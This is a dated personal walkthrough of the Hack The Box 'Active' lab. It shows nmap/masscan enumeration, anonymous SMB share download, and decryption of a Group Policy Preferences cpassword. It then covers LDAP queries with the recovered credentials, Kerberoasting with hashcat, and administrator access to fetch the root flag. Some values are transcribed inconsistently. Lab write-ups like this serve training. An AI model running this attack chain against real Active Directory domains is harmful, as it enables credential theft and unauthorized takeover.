

## Enumeration

Saturday, December 2, 2023 12:34 PM

### Nmap Scan

```
sudo masscan -p1-65535 10.10.10.100 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,,$//') nmap -Pn -sV -sC -p$ports 10.10.10.100
```

```
Nmap scan report for 10.10.10.100
Host is up, received echo-reply ttl 127 (0.20s latency).
Scanned at 2023-12-02 12:36:07 IST for 09s
Not shown: 982 closed tcp ports (reset)
PORT      STATE SERVICE        REASON      VERSION
53/tcp    open  dns            syn-ack ttl 127 Microsoft DNS 6.1.7601 (10015039) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (10015039)
88/tcp    open  kerberos-sec   syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2023-12-02 07:06:26Z)
135/tcp    open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
139/tcp    open  netbios-ssn    syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp    open  ldap           syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-
-Site-Name)
445/tcp    open  microsoft-ds?  syn-ack ttl 127
464/tcp    open  tcpwrapped     syn-ack ttl 127
593/tcp    open  ncacn_http     syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped     syn-ack ttl 127
3268/tcp   open  ldap           syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-
-Site-Name)
3269/tcp   open  tcpwrapped     syn-ack ttl 127
49152/tcp  open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
49153/tcp  open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
49154/tcp  open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
49155/tcp  open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
49157/tcp  open  ncacn_http     syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49158/tcp  open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
49165/tcp  open  msrpc          syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_ p2p-conficker:
|_   Checking for Conficker.C or higher...
|_   Check 1 (port 40109/tcp): CLEAN (Couldn't connect)
|_   Check 2 (port 37392/tcp): CLEAN (Couldn't connect)
|_   Check 3 (port 38631/udp): CLEAN (Timeout)
|_   Check 4 (port 23821/udp): CLEAN (Failed to receive data)
|_   0/4 checks are positive: Host is CLEAN or ports are blocked
|_ smb2-time:
|_   date: 2023-12-02T07:07:23
|_   start_date: 2023-12-02T07:03:59
|_   clock-skew: 8s
|_ smb2-security-mode:
|_   2.1:0:
|_     Message signing enabled and required
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:37
```

- Domain: active.htb

### SMB Enumeration

- Smbclient -L //10.10.10.100
- Smbclient -L //10.10.10.100/Replication
- Smb> RECURSE ON
- Smb> PROMT OFF
- Smb> mget \*
- Downloads all files and policies on our local machine as domain named folder
- ~\$: find . -iname Groups.xml 2>/dev/null

```
(kali@kali):~$ cd /MTB/Active/active.htb
(kali@kali):~/MTB/Active/active.htb$ ls
Private Policies
(kali@kali):~/MTB/Active/active.htb$ find . -iname Groups.xml 2>/dev/null
./Policies/[31B2F340-0160-1102-945F-00C04FB984F9]/MACHINE/Preferences/Groups/Groups.xml
(kali@kali):~/MTB/Active/active.htb$ cat ./Policies/[31B2F340-0160-1102-945F-00C04FB984F9]/MACHINE/Preferences/Groups/Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{31B2F340-0160-1102-945F-00C04FB984F9}">
  <User clsid="{D55F1055-51E5-4d24-801A-D90DE98BA3D4}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AA8585782190}"><Properties act
"0" newName="" fullName="" description="" cpassword="edBSHOWhZLTjt/QS9FeIcJ83mjWA98gw9guKOHjOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmq" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"
</User>
</Groups>
(kali@kali):~/MTB/Active/active.htb$
```

- Found the password for the domain
- Name = active.htb\SVC\_TGS
- Cpassword field =  
edBSHOWhZLTjt/QS9FeIcJ83mjWA98gw9guKOHjOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmq

### LDAP Query:

```
ldapsearch -x -H 'ldap://10.10.10.100' -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub  
"(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep  
sAMAccountName
```

```
(kali@kali) [~/HTB/active]  
$ ldapsearch -x -H 'ldap://10.10.10.100' -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep sAMAccountName  
dn: Administrator, CN=Users, DC=active, DC=htb  
sAMAccountName: SVC_TGS
```

```
ldapsearch -x -H 'ldap://10.10.10.100' -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub  
"(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=*))" serviceprincipalname | grep -B 1 servicePrincipalName
```

```
(kali@kali) [~/HTB/active]  
$ ldapsearch -x -H 'ldap://10.10.10.100' -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=*))" serviceprincipalname | grep -B 1 servicePrincipalName  
dn: CN=Administrator, CN=Users, DC=active, DC=htb  
servicePrincipalName: active/CIFS:445
```

# Foothold

Saturday, December 2, 2023 2:06 PM

Cracking the found password using gpp-decrypt which is based on windows pre-released passwords

```
└─(kali㉿kali)-[~/HTB/Active/active.htb]
```

```
└─$ gpp-decrypt
```

```
edBSHOwhZLTjt/QS9FelcJ83mjWA98gw9guKOhJOdcqh+ZG  
MeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
```

GPPstillStandingStrong2k18

- Cracked pass is : GPPstillStandinStrong2k18

# Initial Access

Saturday, December 2, 2023 2:18 PM

## SMB

Smbmap -d active.htb -u SVC\_TGS -p GPPstillStandingStrong2k18 -H 10.10.10.100

```
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.10.100:445      Name: active.htb      Status: Authenticated
    Disk                    Permissions            Comment
    ----                    -
    ADMIN$                  NO ACCESS             Remote Admin
    C$                      NO ACCESS             Default share
    IPC$                    NO ACCESS             Remote IPC
    NETLOGON                READ ONLY             Logon server share
    Replication             READ ONLY
    SYSVOL                  READ ONLY             Logon server share
    Users                   READ ONLY
```

smbclient -U SVC\_TGS%GPPstillStandingStrong2k18 //10.10.10.100/Users

```
(kali@kali)-[~]
$ smbclient -U SVC_TGS%GPPstillStandingStrong2k18 //10.10.10.100/Users
Try "help" to get a list of possible commands.
smb: \> ls
.                DR          0 Sat Jul 21 20:09:20 2018
..               DR          0 Sat Jul 21 20:09:20 2018
Administrator    D          0 Mon Jul 16 15:44:21 2018
All Users        DHSrn     0 Tue Jul 14 10:36:44 2009
Default          DHR       0 Tue Jul 14 12:08:21 2009
Default User     DHSrn     0 Tue Jul 14 10:36:44 2009
desktop.ini      AHS       174 Tue Jul 14 10:27:55 2009
Public           DR         0 Tue Jul 14 10:27:55 2009
SVC_TGS          D          0 Sat Jul 21 20:46:32 2018

5217023 blocks of size 4096. 272577 blocks available
```

Impacket-getADUsers tool used for retrieving active accounts on domain

```
(kali@kali)-[~/HTB/active]
$ GetADUsers.py -all active.htb/svc_tgs -dc-ip 10.10.10.100
/usr/local/bin/GetADUsers.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('impacket==0.12.0.dev1+20231114.165227.4b56c18a', 'GetADUsers.py')
Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

Password:
[*] Querying 10.10.10.100 for information about domain.
Name                Email                PasswordLastSet      LastLogon
-----
Administrator       2018-07-19 00:36:40.351723 2024-01-14 17:39:09.303347
Guest               <never>               <never>
krbtgt              2018-07-19 00:20:36.972031 <never>
SVC_TGS             2018-07-19 01:44:38.402764 2024-01-14 18:16:58.015332

(kali@kali)-[~/HTB/active]
$
```

# Cracking

Saturday, December 2, 2023 2:41 PM

## Kerberoasting attack

Hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt --force

Cracked pass : Ticketmaster1968

Bloodhound can be also used for kerberoasting

# Getting IN

Sunday, January 14, 2024 6:32 PM

## Checking for smb cmd

```
(kali㉿kali)-[~/HTB/active]
$ smbclient -U administrator -L 10.10.10.100
WARNING: no network interfaces found
Password for [WORKGROUP\administrator]:

      Sharename      Type      Comment
      -----      ----      -----
      ADMIN$         Disk      Remote Admin
      C$              Disk      Default share
      IPC$            IPC       Remote IPC
      NETLOGON        Disk      Logon server share
      Replication     Disk
      SYSVOL          Disk      Logon server share
      Users           Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

## Fetching root flag

```
(kali㉿kali)-[~/HTB/active]
$ smbclient -U administrator \\\\10.10.10.100\\Users
WARNING: no network interfaces found
Password for [WORKGROUP\administrator]:
Try "help" to get a list of possible commands.
smb: \> ls
.                DR          0   Sat Jul 21 20:09:20 2018
..               DR          0   Sat Jul 21 20:09:20 2018
Administrator    D          0   Mon Jul 16 15:44:21 2018
All Users        DHSrn     0   Tue Jul 14 10:36:44 2009
Default          DHR       0   Tue Jul 14 12:08:21 2009
Default User     DHSrn     0   Tue Jul 14 10:36:44 2009
desktop.ini      AHS      174  Tue Jul 14 10:27:55 2009
Public           DR         0   Tue Jul 14 10:27:55 2009
SVC_TGS          D          0   Sat Jul 21 20:46:32 2018
cd A
5217023 blocks of size 4096. 279434 blocks available
smb: \> cd Administrator\Desktop\
smb: \Administrator\Desktop\> ls
.                DR          0   Thu Jan 21 22:19:47 2021
..               DR          0   Thu Jan 21 22:19:47 2021
desktop.ini      AHS      282  Mon Jul 30 19:20:10 2018
root.txt         AR         34   Sun Jan 14 17:39:06 2024
c
5217023 blocks of size 4096. 279434 blocks available
smb: \Administrator\Desktop\> mget root.txt
Get file root.txt? y
getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \Administrator\Desktop\> exit
```